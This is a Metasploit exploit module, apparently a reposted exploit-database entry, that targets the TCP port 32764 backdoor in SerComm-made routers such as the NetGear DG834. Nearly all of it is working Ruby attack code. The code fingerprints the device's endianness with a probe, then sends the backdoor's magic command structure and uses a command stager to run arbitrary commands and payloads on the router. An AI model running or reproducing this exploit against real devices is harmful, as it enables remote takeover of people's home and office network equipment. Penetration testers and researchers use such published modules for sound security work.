SerComm Device – Remote Code Execution (Metasploit)
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::CmdStagerEcho def initialize(info={}) super(update_info(info, 'Name' => "SerComm Device Remote Code Execution", 'Description' => %q{ This module will cause remote code execution on several SerComm devices. These devices typically include routers from NetGear and Linksys. Tested against NetGear DG834. }, 'License' => MSF_LICENSE, 'Author' => [ 'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc 'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module ], 'Payload' => { 'Space' => 10000, # Could be more, but this should be good enough 'DisableNops' => true }, 'Platform' => 'linux', 'Privileged' => false, 'Targets' => [ ['Linux MIPS Big Endian', { 'Arch' => ARCH_MIPSBE } ], ['Linux MIPS Little Endian', { 'Arch' => ARCH_MIPSLE } ], ], 'DefaultTarget' => 0, 'References' => [ [ 'OSVDB', '101653' ], [ 'URL', 'https://github.com/elvanderb/TCP-32764' ] ], 'DisclosureDate' => "Dec 31 2013" )) register_options( [ Opt::RPORT(32764) ], self.class) end def check fprint = endian_fingerprint case fprint when 'BE' print_status("Detected Big Endian") return Msf::Exploit::CheckCode::Vulnerable when 'LE' print_status("Detected Little Endian") return Msf::Exploit::CheckCode::Vulnerable end return Msf::Exploit::CheckCode::Unknown end def exploit execute_cmdstager(:noargs => true) end def endian_fingerprint begin connect sock.put(rand_text(5)) res = sock.get_once disconnect if res && res.start_with?("MMcS") return 'BE' elsif res && res.start_with?("ScMM") return 'LE' end rescue Rex::ConnectionError => e print_error("Connection failed: #{e.class}: #{e}") end return nil end def execute_command(cmd, opts) vprint_debug(cmd) # Get the length of the command, for the backdoor's command injection cmd_length = cmd.length # 0x53634d4d => Backdoor code # 0x07 => Exec command # cmd_length => Length of command to execute, sent after communication struct data = [0x53634d4d, 0x07, cmd_length].pack("VVV") connect # Send command structure followed by command text sock.put(data+cmd) disconnect Rex.sleep(1) end end |